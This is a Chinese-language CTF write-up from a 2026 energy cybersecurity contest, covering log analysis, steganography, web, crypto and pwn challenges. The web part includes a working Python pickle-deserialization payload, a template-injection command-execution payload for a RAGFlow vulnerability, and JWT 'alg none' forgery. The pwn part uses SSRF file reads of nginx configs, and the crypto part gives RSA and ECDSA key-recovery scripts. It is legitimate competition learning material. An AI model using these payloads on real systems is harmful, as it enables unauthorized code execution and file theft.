2026能源网络安全大赛-①初赛
2026能源网络安全大赛-1初赛
数据安全
日志分析-B
根据题干要求
excel 过滤登陆失败fail，
再通过user**进行排序
countif(c:c,C1)进行计算用户出现次数，符合失败5次的
共命中*32 个*符合条件的可疑用户名，按升序排序后的用户名列表为：user001,user002,user003,user004,user005,user006,user007,user008,user009,user010,user011,user012,user013,user014,user015,user016,user017,user018,user019,user020,user021,user022,user023,user024,user025,user026,user027,user028,user029,user030,user031,user032
根据要求制作flag{MD5}
flag{b76eba9f38e187c10c39c8c293a8d721}
数据脱敏-B
根据要求，给数据脱敏。
拼接后md5加密得到flag
flag{56a2cb17b6e7a3df3d021dc724efff4b}
数据库-B
Misc
welcome-B
查看每张图片的birth日期。
根据日期，按照白羊座-金牛座-。。。-双鱼座的顺序重新给12个图片排序（ps：有个坑，之前一直按照1月份（魔羯座）开始排序，所以一直没提交对）。
按照这个顺序提取残片并偏移（偏移位数为图片中星星的数量加漂移数）
合成24个字符得到flag
dead-radio
用robot36解出一个图1.png。
1.png内容为
# CLASSIFIED
Date: 1987-03-15
Mark: 6700 Hz
Space: 7300 Hz
Baud: 200
KEY FORMAT:
<COORD>-<WORD1>
-<DNA8>-<DATE>
连接远程得到
> CODEBOOK
[STATION] ── DNA TRIPLET CODEBOOK ──
[STATION] AAA=ALPHA AAT=BRAVO AAG=CHARLIE AAC=DELTA
[STATION] ATA=ECHO ATT=FOXTROT ATG=GOLF ATC=HOTEL
[STATION] AGA=INDIA AGT=JULIET AGG=KILO AGC=LIMA
[STATION] ACA=MIKE ACT=NOVEMBER ACG=OSCAR ACC=PAPA
[STATION] TAA=QUEBEC TAT=ROMEO TAG=SIERRA TAC=TANGO
[STATION] TTA=UNIFORM TTT=VICTOR TTG=WHISKEY TTC=XRAY
[STATION] TGA=YANKEE TGT=ZULU TGG=ATLAS TGC=BEACON
[STATION] TCA=CIPHER TCT=DAGGER TCG=FALCON TCC=GUARD
[STATION] GAA=HAWK GAT=IRON GAG=KNIGHT GAC=LANCE
[STATION] GTA=MATRIX GTT=NEXUS GTG=OMEGA GTC=PRISM
[STATION] GGA=QUARTZ GGT=RAVEN GGG=SHADOW GGC=TITAN
[STATION] GCA=ULTRA GCT=VIPER GCG=WARDEN GCC=ZENITH
[STATION] CAA=ANVIL CAT=BOLT CAG=CROSS CAC=DRIFT
[STATION] CTA=EMBER CTT=FROST CTG=GHOST CTC=HAVEN
[STATION] CGA=IVORY CGT=JADE CGG=KARMA CGC=LOTUS
[STATION] CCA=MIRAGE CCT=NOBLE CCG=ORBIT CCC=PULSE
[STATION] ── END CODEBOOKN ──
>
broadcast.wav 频谱内容有
- N39.9042E116.4074 -- 得到
<COORD>
脚本解出 CACCCTTCAAATAGGTGCAAATGT
- CAC 查表得到 DRIFT -- 得到
<WORD1> - CACCCTTCAAATAGGTGCAAATGT 前8个字母 -- CACCCTTC -- 得到
<DNA8> - 1987-03-15 -- 得到
<DATE>
按要求组合: <COORD>-<WORD1>-<DNA8>-<DATE>
> SUBMIT N39.9042E116.4074-DRIFT-CACCCTTC-1987-03-15
[STATION] ✓ Identity verified.
[STATION]
[STATION] ████ CLASSIFIED INTELLIGENCE ████
[STATION] FLAG: flag{the_dead_radio_whispers_again}
Web
ezpython-B
访问 网站 源码提示 ?debug=src 有源码，审计后有反序列化。
import base64
import pickle
import binascii
class Exploit(object):
def __reduce__(self):
return (eval, ("__import__('builtins').open('/flag', 'r').read()",))
exp = Exploit()
payload_bytes = pickle.dumps(exp, protocol=0)
print(payload_bytes)
print(base64.b64encode(payload_bytes))
burp 发送 payload_bytes 即可。
ezk-b
ragflow CVE
https://github.com/infiniflow/ragflow/security/advisories/GHSA-vvwj-fvwh-4whx
里面有视频。照着操作。
Navigate to Agent → click "+ Create agent" → select "Agent flow" → name it anything → Save
In the Agent editor canvas, drag from the Begin node's connection point to open the component menu
Under "Data manipulation", click "Text processing" to add it
Click the newly added "Text processing_0" node
In the right-side configuration panel, enter the following payload in the Script field:
{{ cycler.__init__.__globals__.os.popen('cat /flag.txt').read() }}
petriot-B
test/test123 登录进入后 源码有提示是jwt 验证的。
将jwt解码，重新构造身份为 admin, role为admin, ALG设置为None, 构造成功后访问那几个井，TK004里有flag
Crypto
simpleRsa
# Franklin-Reiter 攻击
import logging
from Crypto.Util.number import *
N = 360160431418936027647973763227730297198312456973297014753701862390944095948209710865168062900765115482676342627427860640372919930726517354690011396239360571623183867955043628673182538807306881236971281754931345759469893824333387093400665939139553170393069017697920443347
c1 = 164511231253586308095953101740242519262792546778667653506610168961040622243307867473918714863661079239715212772847859539456988301054851868890096754872652537757300421437709556647150197402896131341639158359666826016481730357151336374676700222847165503493823818845945522292
c2 = 156020674359253673064018297675062012644921552390938310215444486436462114471203666581177539177641340140411423284704895117785228370089610476884289317205046011532681884243740026683378109919087121992612230901797861149599397079780995167802981950374498456012680293558794346928
e = 5
P = bytes_to_long(bytes.fromhex('757365723d'))
S = bytes_to_long(bytes.fromhex('26726f6c653d6775657374'))
A = 256 ^ 11
def polygcd(a,b):
if b== 0:
return a.monic()
return polygcd(b, a % b)
def try_len(k):
R.<X> = Zmod(N)[]
B = S - A * P * (256 ^ k)
g = (A * X + B) ^ e - c2
f = X^e - c1
d = polygcd(f, g)
if d.degree() != 1:
return None
root = Integer(-d[0])
flag_int = root - P * (256 ^ k)
return long_to_bytes(int(flag_int))
def compositeModulusGCD(a, b):
if (b == 0):
return a.monic()
else:
return compositeModulusGCD(b, a % b)
for k in range(1, 40):
flag = try_len(k)
if flag:
print(f'{flag=}')
格子-B
import hashlib
import json
from Crypto.Util.number import long_to_bytes
data = json.load(open('data.json'))
# ---------- 初始化椭圆曲线参数 ----------
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
E = EllipticCurve(GF(p), [0, 7])
G = E(0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798,
0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8)
def der_to_rs(der_hex):
der = bytes.fromhex(der_hex)
pos = 2
rlen = der[pos+1]
pos += 2
r = int.from_bytes(der[pos:pos+rlen], 'big')
pos += rlen
slen = der[pos+1]
pos += 2
s = int.from_bytes(der[pos:pos+slen], 'big')
return r, s
# 恢复公钥点
pub_hex = data["pubkey"]
pub_x = int(pub_hex[2:], 16)
pub_y2 = (pub_x**3 + 7) % p
pub_y = pow(pub_y2, (p+1)//4, p)
pub = E(pub_x, pub_y)
low_bits = data["unknown_low_bits"]
base = 1 << low_bits
samples = data["samples"]
m = len(samples)
# ---------- 建立 HNP (Hidden Number Problem) 方程 ----------
# ECDSA 方程: s = k^-1 * (h + r * d) mod n => k = s^-1 * h + s^-1 * r * d mod n
# 已知 k = k_high * base + k_low ，代入：
# k_low - (s^-1 * r)*d = s^-1 * h - k_high * base mod n
# 记作: k_low + t_i * d = u_i mod n
T, U = [], []
for sam in samples:
msg = sam["msg"]
sig_der = sam["sig_der"]
k_high = int(sam["k_high"])
h = int(hashlib.sha256(bytes.fromhex(msg)).hexdigest(), 16) % n
r, s = der_to_rs(sig_der)
s_inv = inverse_mod(s, n)
t_i = (-s_inv * r) % n
u_i = (s_inv * h - k_high * base) % n
T.append(t_i)
U.append(u_i)
# ---------- 构造格 (Lattice Matrix) ----------
# 我们希望在格中寻找包含向量 (k_low_0, k_low_1, ..., d, 1) 的目标向量。
# 目标向量对应的各维上限(或期望大小): k_low ~ base, d ~ n, 常数维 ~ base (缩放因子)
# 格的构造维度为 (m + 2) * (m + 2)
L = matrix(ZZ, m + 2, m + 2)
# 模 n 关系
for i in range(m):
L[i, i] = n
# 私钥 d 对应的系数行
for i in range(m):
L[m, i] = T[i]
L[m, m] = base // n # 缩放因子平衡各个分量权重，这里也可以直接填 1
# 常数项 u_i 对应的行
for i in range(m):
L[m+1, i] = U[i]
L[m+1, m+1] = base # 最后一个常数维，使得系数为 1 时大小与 k_low 相当
# ---------- 运行 LLL 算法并恢复私钥 ----------
L_red = L.LLL()
found = False
for row in L_red:
# 如果常数项维对应的系数为 ±base (即原向量最后的 1)
if abs(row[m+1]) == base:
# 如果 L[m, m] 为 1，可以直接取值。在此为了保证准确性，从 k_low 和方程反推 d
# 方程: k_low_i = row[i], 通过其中一个方程反推 d = (u_i - k_low_i) * t_i^-1 mod n
k_low_0 = int(row[0]) if row[m+1] > 0 else int(-row[0])
d = ((U[0] - k_low_0) * inverse_mod(T[0], n)) % n
if d * G == pub:
print(long_to_bytes(d))
found = True
break
if not found:
print("未找到私钥，请检查数据或微调格的缩放系数。")
PWN
pwncgi-B
依次访问
file:///var/log/nginx/access.log
file:///etc/nginx/nginx.conf
file:///etc/nginx/sites-enabled/default
php://filter/read=convert.base64-encode/resource=cgi-bin/diag.cgi
获取得程序源码
if ( sub_1350("debug=router") && sub_1350("mode=diag") && sub_1350("token=saltfish") && sub_1350("step=final") )
{
v4 = fopen("/home/ctf/flag", "r");
if ( v4 )
按发送要求
target=http://127.0.0.1:9999/cgi-bin/diag.cgi?debug=router&mode=diag&token=saltfish&step=final
直接发不行。要url转码一下。
获取源码
POST / HTTP/1.1
Host: 47.116.24.180:22955
Content-Length: 110
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://47.116.24.180:22955
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://47.116.24.180:22955/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
target=http://127.0.0.1:9999/cgi-bin/diag.cgi%3fdebug%3drouter%26mode%3ddiag%26token%3dsaltfish%26step%3dfinal
浙公网安备 33010602011771号